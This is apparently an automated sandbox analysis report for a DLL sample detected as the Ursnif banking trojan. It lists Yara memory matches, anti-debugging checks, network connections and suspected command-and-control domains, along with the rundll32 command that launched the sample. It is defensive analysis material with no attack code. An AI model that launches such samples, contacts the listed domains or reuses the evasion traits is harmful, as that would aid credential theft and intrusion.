Source: Yara match	File source: 00000003.00000003.498605690.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499306032.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783361786.0000000002CA0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506547628.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499390422.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499160942.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.592754619.000000000556D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506326169.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.546937803.000000000566B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.595315126.0000000002E1D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506579239.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.3050000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.419038437.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.446200223.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.455038196.0000000000850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.452964722.0000000000D70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.784698066.0000000005039000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783230082.0000000002B79000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.418099861.0000000000A60000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: WerFault.exe, 00000014.00000002.533156151.00000000051B7000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWX
Source: loaddll32.exe, 00000000.00000003.700400046.0000000000A55000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.511800609.00000000048CF000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000002.532925191.00000000050FC000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000002.547189400.0000000004860000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: loaddll32.exe, 00000000.00000002.777718170.0000000000A17000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW(
Source: WerFault.exe, 00000011.00000003.511800609.00000000048CF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWnnection* 6-QoS Packet Scheduler-0000

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E656CB3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E611DE5 LoadLibraryA,GetProcAddress,

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E66C325 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E678861 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6BDFDA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6BDEAA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E6BDBB5 push dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E66C325 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E678861 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E6BDFDA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E6BDEAA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E6BDBB5 push dword ptr fs:[00000030h]

Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E64B316 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E656CB3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E656CB3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E64B316 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 40.97.164.146 187
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: www.msn.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 40.101.91.82 187
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: areuranel.website
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: breuranel.website
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: outlook.office365.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: msn.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: outlook.com
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: www.outlook.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 52.97.151.18 187
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 13.82.28.61 187
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 52.97.137.178 187
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 52.97.183.162 187

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\B6VQd36tt6.dll',#1

Source: loaddll32.exe, 00000000.00000002.782268539.00000000010F0000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.474867165.0000000003030000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.784327016.00000000038B0000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.489105451.0000000003030000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000000.496311981.00000000033C0000.00000002.00020000.sdmp	Binary or memory string: uProgram Manager
Source: loaddll32.exe, 00000000.00000002.782268539.00000000010F0000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.474867165.0000000003030000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.784327016.00000000038B0000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.489105451.0000000003030000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000000.496311981.00000000033C0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.782268539.00000000010F0000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.474867165.0000000003030000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.784327016.00000000038B0000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.489105451.0000000003030000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000000.496311981.00000000033C0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.782268539.00000000010F0000.00000002.00020000.sdmp, rundll32.exe, 00000002.00000000.474867165.0000000003030000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.784327016.00000000038B0000.00000002.00020000.sdmp, rundll32.exe, 00000005.00000000.489105451.0000000003030000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000000.496311981.00000000033C0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E611172 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E66FF15 _free,_free,_free,GetTimeZoneInformation,_free,

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E611825 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.785119761.00000000053F0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.638534724.0000000002D1F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498145572.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506367708.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.550238977.0000000002F1B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506469970.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506985927.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.500076992.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506632233.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.636450090.000000000546F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506394245.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506684501.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499560563.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.497950814.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498605690.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499306032.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783361786.0000000002CA0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506547628.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499390422.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499160942.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.592754619.000000000556D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506326169.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.546937803.000000000566B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.595315126.0000000002E1D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506579239.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.3050000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.419038437.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.446200223.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.455038196.0000000000850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.452964722.0000000000D70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.784698066.0000000005039000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783230082.0000000002B79000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.418099861.0000000000A60000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000003.00000003.499708236.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.785119761.00000000053F0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.638534724.0000000002D1F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498145572.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506367708.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.550238977.0000000002F1B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506469970.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506985927.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.500076992.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506632233.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.636450090.000000000546F000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506394245.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506684501.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499560563.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.497950814.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.498605690.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499306032.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.783361786.0000000002CA0000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506547628.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499390422.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.499160942.00000000057E8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.592754619.000000000556D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506326169.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.546937803.000000000566B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.595315126.0000000002E1D000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.506579239.0000000003098000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 4720, type: MEMORYSTR
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.3050000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.d7a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.50394a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.85a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.rundll32.exe.a6a31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.7ba31a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.303a31a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6e610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2b794a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.419038437.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.446200223.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.455038196.0000000000850000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.452964722.0000000000D70000.00000040.00000001.sdmp, type: MEMORY
